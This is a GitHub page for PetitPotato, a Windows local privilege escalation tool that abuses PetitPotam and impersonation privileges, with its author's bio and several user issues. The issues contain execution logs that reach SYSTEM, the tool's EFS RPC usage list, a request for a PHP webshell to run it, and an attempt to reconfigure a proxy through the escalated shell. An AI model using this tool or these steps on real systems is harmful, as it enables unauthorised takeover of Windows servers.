wh0amitz / petitpotato

Local privilege escalation via PetitPotam (Abusing impersonate privileges).

WHOAMI

---

PS C:\Users\whoami> whoami

I am just an ordinary student & offensive security researcher & hacker, and what I have learned basically comes from the information security community and my own research.

PS C:\Users\whoami> whoami /priv

• Cyber Security: Web Security, Active Directory, Kerberos, Post Exploitation
• Programmer: C/C++, C#, Python, JAVA, PHP, Nodejs.
• CTF: Web.
• Weapon: QSZ-92, Type 54 Pistol, NRP-9.

---

petitpotato's Issues

Phpwebshell

https://github.com/wh0amitz/PetitPotato/blob/master/images/image-20221030165622668.png

What kind of webshell are used to run the potato on that picture. Can someone share it plz?

Thanks a lot for 🥔 potato!!!

Exception: 1753 - 0x000006d9.

Exception: 1753 - 0x000006d9.

what is happen?
thank you

DuplicateToken error

Hello, when trying to use this i get the error message DupicateTokenEx() Error: 1346.
Here is the full log:

C:\Users\admin\Downloads\Programs>PetitPotato.exe 3 cmd.exe

[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[-] DupicateTokenEx() Error: 1346.

Is there any reason why this is happening? Anything i can do to fix this? Love the work

Cant execute some commands

Hello!
Windows Server 2012 R2 Datacenter Edition Windows NT build 9600
command over phpwebshell -

$ testin.exe 3 whoami

[+] Malicious named pipe running on \.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
nt authority\system

(! seems it work . Thanks a lot)

but when i run
testin.exe 3 whoami /priv
or testin.exe 3 netsh winhttp set proxy tester:password1@ip:port
i recieve -

$ testin.exe 3 whoami /priv

Usage: testin.exe [EfsID] [Command]

The available EfsIDs are as follows:
[0] EfsRpcOpenFileRaw
[1] EfsRpcEncryptFileSrv
[2] EfsRpcDecryptFileSrv
[3] EfsRpcQueryUsersOnFile
[4] EfsRpcQueryRecoveryAgents
[5] EfsRpcRemoveUsersFromFile (Failed)
[6] EfsRpcAddUsersToFile
[7] EfsRpcFileKeyInfo
[8] EfsRpcDuplicateEncryptionInfoFile (Failed)
[9] EfsRpcAddUsersToFileEx
[10] EfsRpcFileKeyInfoEx (Failed)
[11] EfsRpcGetEncryptedFileMetadata (Failed)
[12] EfsRpcSetEncryptedFileMetadata (Failed)